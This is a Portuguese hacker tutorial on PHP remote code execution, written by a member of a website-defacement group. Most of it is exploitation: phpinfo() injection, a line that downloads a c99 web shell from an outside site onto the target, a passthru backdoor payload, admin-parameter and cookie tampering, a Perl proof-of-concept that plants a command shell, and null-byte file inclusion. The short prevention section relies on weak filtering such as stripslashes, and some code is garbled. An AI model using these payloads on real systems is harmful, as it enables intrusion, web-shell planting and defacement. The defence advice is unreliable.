Tutorial {RCE} [Remote Code Execution] by Tr3v0r

Gr33tz: J0shu3w, MMXM, coolmemes, xin0x, kryptonet e todos que me ajudaram um dia chegar no meu nível atual.
Um salve ao Lord Choo3s e ScorpionKTX que me deram a liderença da SilverLords, para que possa honrar fazendo vários defaces de qualidade.
Aquele dia no shops santa cruz foi 10! amo vocês!

Como encontrar a RCE ?
RCE mais comumente acontece através da entrada limpa em uma entrada de input

O que podemos fazer com essa vulnerabilidade ?

Atravez dessa vúlnerabilidade conseguimos executar qual quer código PHP, as tags devem começar com <? começa assim é termina assim ?>
~~~~~~
+-----+
Vamos praticar um pouco {Parâmetro vulnerável}

http://mysite.com/includes/functions.php?multies=
+-----+
~~~~~~
+-----+
À medida que avançamos vamos tentar o phpinfo. agora nós vamos adiciona phpinfo (); depois de multies é ver o quê nós mostrou

http://mysite.com/includes/functions.php?multies=phpinfo();
+-----+
~~~~~~
+-----+
Nosso próximo passo séra fazer o upload de uma shell pela falha de RCE coloque este código depois de multies=

file_put_contents('shell.php',file_get_contents('http://www.c99txt.net/s/c99.txt'));
+-----+
Pronto a SHELL uploaded ! este é um conceito básico de {RCE} [Remote Code Execution]
+-----+
~~~~~~
(=================================================================)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Bom agora vamos aprender um pouco mais sobre {RCE} !
0x1 - Intro
0x2 - Noções básicas de Remote Code Execution e como ele se desenvolve
0x3 - Exatamente como um invasor pode obter vantagem sobre esta vulnerabilidade e abusar dela!
0x4 - Prevenção e filtração
0x5 - Conclusão
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
(=================================================================)
~~~~~~
0x1 - Intro
~~~~~~
Remote Code Execution é mais uma Common Vulnerability existente é vasta gama de aplicações web na era atual
permite um controle remoto ao invasor é executar um código arbitrário no sistema com previlégios de administrador sem a atenção
do admin do site, não é apenas dificil de evitar, mais é uma vúlnerabilidade extremamente arriscada, que pode colocar o site site em perigo
propondo diferentes tipos de ataque, podendo ocorrer eliminação de dados é o invasor pode até desfigurar o site famoso DEFACE !

~~~~~~
0x2 - Noções básicas de Remote Code Execution e como ele se desenvolve
~~~~~~
Básico Remote Code Execution Agora vou destacar alguns princípios básicos de Remote Code Execution sendo plantadas que ainda existem nesta época de desenvolvimento de aplicativos web.

Vamos agora examinar um comentário form recebendo comentários de um usuário ("submit.php")
e publicá-la em "comments.php"

Estamos analisando submit.php com método simples post que submete a se reuniram
entrada do usuário e encaminhar o pedido para comments.php.
/*
{submit.php}
[Código]
<form method="POST" action="">
<textarea rows="10" name="comments" cols="60"></textarea>
<p><input type="submit" value="Post" name="sub"></p>
</form>

{comments.php}
[Código]
<?php
$comments = $_POST['comments'];
$log = fopen('comments.php','a');
fwrite($log,'<br />'.'<br />.'<center>'.'Comments::'.'<br />'.$comments);
fclose($log);
?>

Bem, como podemos ver, há um formulário que envia
um usuário introduzido Comentários (o que tão nunca) para comments.php incluindo malicioso que escreve os comentários exatamente como entrada do usuário. isto significa que um invasor está ficando cheio vantagem para explorar os comentários vulneráveis
formulário de apresentação, executando algum pedido malicioso, que poderia ser apenas para reunir detalhes do servidor lendo o phpinfo()
que é um caso excepcional para os atacantes nos dias de hoje, ou ainda mais patético poderia estar recebendo um shell em um servidor vulnerável.

Vamos dar outro exemplo usando solicitação GET para exibir mensagem de erro e registrar o ip com a mensagem específica.
(é uma vulnerabilidade comum plantada pelo codificador durante o desenvolvimento de um website para uma organização, etc).'x'.
/*

{info.php}
[Código]
<?php
$msg = $_GET['msg'];
$ip = getenv('REMOTE_ADDR');
$error = fopen('errorlog.php','a');
fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');
fclose($error);
?>

isto permite à Remote Code Execution, mas também de vários outros ataques, incluindo xss, javascript injeção, injeção VBScript etc.
Isto irá também permitir a um atacante envenenar o arquivo de log é injetar código malicioso para os logs.
=========================
Agora vou destacar um outro tipo de Remote Code Execution também pode ser definida como envenenamento de cookies

{Código}
<?php
$msg = $_GET['msg'];
$ip = getenv('REMOTE_ADDR');
$error = fopen('errorlog.php','a');
fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');
fclose($error);
?>

Pode ser apenas mais complicado do que isso, como a maioria, possivelmente, não pode haver o uso de sessões a fim de verificar se o administrador "admin" variável iria corresponder "1", como sempre esta é apenas uma consulta SQL usada para selecionar administrador como o usuário quando admin = 1 A consulta está dando possivelmente outra vulnerabilidade Sim, certo "injeção de SQL!";
=========================
Remote Code Execution também é possível através da deposição cabeçalhos ou um upload de arquivo arbitrário se há um sistema de processamento de arquivo e não é limpo
=========================
0x3 - Exatamente como um invasor pode obter vantagem sobre esta vúlnerabilidade e abusar dela!
===================================
Vou destacar exatamente como um invasor consegue fazer isso
Provavelmente supondo que um invasor encontra um alvo vulnerável e ele pegou a notícia de que uma variável GET ter sido
implementada aqui, a fim de fazer logind e dados determinados a algum arquivo específico permite dizer 'x' o atacante vai tentar
se apossar do arquivo onde os dados estão sendo escrevidos path arrays são usados pelo atacante para uma exploração bem sucedida
e então, naturalmente, o atacante provavelmente vai injectar algo malicioso, string, a fim de verificar se ele está filtrando a saída, neste caso, não é fazer qual quer verificação usando o htmlentities ou htmlspecialchars() funcs. o atacante irá ganhar um grande lote de benefício provavelmente ele vai tentar fazer um upload de uma shell no servidor para ganhar vantagens

vamos supor que este alvo é uma vítima

{Código}
http://victim.xxx/info.php?msg=<? passthru($_GET['attacker']); ?>

Isto irá fazer o trabalho !

Em alguns outros casos como o "
{Código}
if(!isset($admin == 1)

que poderia ser igualmente
explorada com grande facilidade, o atacante apenas
tem que falsificar a variável a partir da solicitação do servidor e que não é de todo
sendo difícil uma variável GET
Emoticon tongue

{Código}
http://victim.xxx/file.php?admin=1

Isso vai fazê-lo é para os cookies só precisa edita-los é você é o fodão !
vamos vê o padrão a baixo

{Código}
if(!isset($_COOKIE['administrator'])){
//Some Authencation Headers Below
...
}

Neste tipo de padrão, você apenas muda os cookies para administrador É melhor tratar o caso com care. I agora vai escrever um pouco POC (Proof-Of-Concept) POC (prova de conceito) a fim de explicar
e explorar o alvo remotamente e com bastante facilidade! Não é bom, mas importante para o uso desse tipo de roteiro o problema e executar o comando com êxito, uma vez que o navegador irá certamente codificar suas tags, tornando
o pedido não eficiente O script abaixo seria ignorar isso, e cumprir a sua finalidade a todo o custo

{Código}
sub header()
{print q{
--------------------------------------------------------------------------------

---------
Usage <target> <vulnerable file> <variable> <log file> <shell> <command>
Example roc.pl http://127.0.0.1 info.php msg errorlog.php
http://127.0.0.1/r57.txt ls -la
--------------------------------------------------------------------------------
----------
}}$inject = "<?php if(get_magic_quotes_gpc()){
/$_GET[cmd]=stripslashes(/$_GET[cmd])/;} passthru(/$_GET[cmd])/; ?>";

‪#‎You‬ may notice some additional funcs used to inject, these are to execute and produce 99% successful result
‪#‎it‬ would help and bypass magic_quotes func and stripslashes too, that would possibly of lot good to the attacker!

if(@ARGV !=5){
header();
}$target = @ARGV[0];

$file = @ARGV[1];
$var = @ARGV[2];
$log = @ARGV[3];
$shell = @ARGV[4];
$command = @ARGV[5];
$agent = LWP::UserAgent->new();
$exec = "http://$target/$file?$var=$inject";
$agent->get("$exec");
$exec2 = "http://$target/$log?attacker=$shell&$cmd=$command?";
$agent->get("$exec2") or die"Host Seems Down";
print "Injected Successfully!!";
print "Check The Shell Manually At"." "."http://$target/$log?attacker=$shell&$cmd=$command?";

‪#‎REMOTE‬ CODE EXECUTION
‪#‎An‬ explanation POC for exploiting the roc(Remote CODE Execution) Vulnerability.

{Código}
*/

================================================================================
===============================

Agora podemos declarar claramente o código acima como uma vulnerabilidade crítica, ajudando atacante a fazer um LFI ou RFI dependendo do atacante é claro que a inclusão falhou por causa da questão incremento de extensão.

Agora, o atacante certamente gostaria Disso em tudo, vai tentar eliminar a extensão usando bytes nulos ou envenenamento de bytes nulos para o servidor. Abaixo está um exemplo do que exatamente acontece quando uma inclusão acontece em tal caso

{Código}
http://victim.xxx/include.php?file=http:...sh3ll.txt?

uma vez que o código é adicionar extensões após variável $file significa que seria
adicionando .php após .txt, tornando assim a exploração muda, em simples seria fazer os olhares de solicitação
vamos
{Código}
http://victim.xxx/include.php…?

Agora, o atacante irá eliminar a extensão para explorar com êxito a questão por envenenamento de bytes nulos no pedido
fez, a seguir é como o atacante conseguirá fazê-lo ::

{Código}
http://victim.xxx/include.php…

Isto faria com que o pedido eliminasse a extensão adicional, e seria explorar com êxito a questão!
=====
=========================
0x4 - Prevenção e filtração
=========================
prevenção ::
É melhor para projetar nunca formar de tal forma que limpa e filtra a entrada do usuário antes de escrever ou de executar a solicitação no servidor. Isto pode ser feito facilmente com a facilidade de php construído em htmlentities(); htmlspecialchars(); eo mais importante strip_tags e funções stripslashes. Isto irá abortar um pedido malicioso e irá executar o pedido após a Tag maliciosa tinha sido abortada.
Por exemplo, um atacante tentando injetar um pedaço de código 'y' para um GET
variável ....

{Código}
http://victim.xxx/file.php?var=<? phpinfo(); ?>

Agora, se o arquivo está sob htmlentities, htmlspecialchars, strip_tags ou
stripslashes () proteção, então isso vai fazer a
pedido do atacante totalmente mudo e, claro, de não usar!
Supposingly um padrão de filtração simples:

/

{Código}
<?php
$data = stripslashes($_GET['data']);
$fh = fopen('file.php','a');
fwrite($fh,$data);
fclose($fh);
?>

Isto irá abortar as tags "<?", "?>","()" e é claro fará o resto do pedaço de código "phpinfo" só irá escrever isso na forma ascii exato para o arquivo.

Há ainda melhores curas usando magicquotes como sempre, pode causar outros problemas complicados se não for usado corretamente,
por isso não é recomendado para iniciantes até que eles sabem o que estão fazendo.
=====
=========================
0x5 - Conclusão
=========================
=====
conclusão ::
Eu tenho usado vários exemplos para explicar os conceitos básicos de Remote Code Execution e exatamente como ele é plantado em aplicações web. Eu tentei o meu melhor nível para explicar os termos e as consequências em palavras simples e fáceis, incluindo todos os códigos de peça Eu não possuem qualquer responsabilidade de qualquer uso indevido eu recomendo fortemente que todos possam aprender sobre isto é simples e fácil é que possam ser evitados os perigos que podem ser encontrados por pequenos erros por descuido !